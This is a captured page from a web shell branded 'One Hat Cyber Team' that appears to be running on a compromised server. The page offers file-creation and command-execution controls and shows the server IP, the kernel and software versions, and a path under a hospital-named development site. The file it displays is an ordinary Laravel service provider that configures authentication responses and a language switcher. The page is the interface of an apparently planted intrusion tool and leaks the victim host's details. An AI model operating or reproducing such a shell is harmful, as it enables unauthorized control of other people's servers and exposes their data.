⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
hospital.dev-unit.com
/
app
/
Providers
/
View File Name :
AppServiceProvider.php
<?php namespace App\Providers; use App\Rules\ValidRecaptcha; use BezhanSalleh\FilamentLanguageSwitch\LanguageSwitch; use Filament\Http\Responses\Auth\Contracts\LoginResponse; use Filament\Http\Responses\Auth\Contracts\LogoutResponse; use Filament\Http\Responses\Auth\Contracts\RegistrationResponse; use Filament\Support\Facades\FilamentIcon; use Illuminate\Pagination\Paginator; use Illuminate\Support\Facades\Validator; use Illuminate\Support\ServiceProvider; class AppServiceProvider extends ServiceProvider { /** * Register any application services. */ public function register(): void { $this->app->singleton( RegistrationResponse::class, \App\Http\Responses\RegistrationResponse::class ); $this->app->singleton( LoginResponse::class, \App\Http\Responses\LoginResponse::class ); $this->app->singleton( LogoutResponse::class, \App\Http\Responses\LogoutResponse::class ); FilamentIcon::register([ 'panels::pages.dashboard.navigation-item' => view('icons.pie-chart'), ]); } /** * Bootstrap any application services. */ public function boot(): void { Paginator::useBootstrap(); Validator::extend('recaptcha', ValidRecaptcha::class); LanguageSwitch::configureUsing(function (LanguageSwitch $switch) { $switch ->userPreferredLocale(function () { return auth()->user()->language ?? 'en'; }) ->locales(['ar', 'en', 'fr', 'de', 'es', 'pt', 'ru', 'tr', 'zh']) ->flags([ 'ar' => asset('images/flags/jordan.png'), 'en' => asset('images/flags/united-states.png'), 'fr' => asset('images/flags/france.png'), 'de' => asset('images/flags/germany.png'), 'es' => asset('images/flags/spain.png'), 'pt' => asset('images/flags/portugal.png'), 'it' => asset('images/flags/italy.png'), 'ru' => asset('images/flags/russia.png'), 'tr' => asset('images/flags/turkey.png'), 'zh' => asset('images/flags/china.png'), ]) ->visible(outsidePanels: true) ->outsidePanelRoutes([ 'auth.login', 'auth.register', 'auth.password-reset', ]); }); } }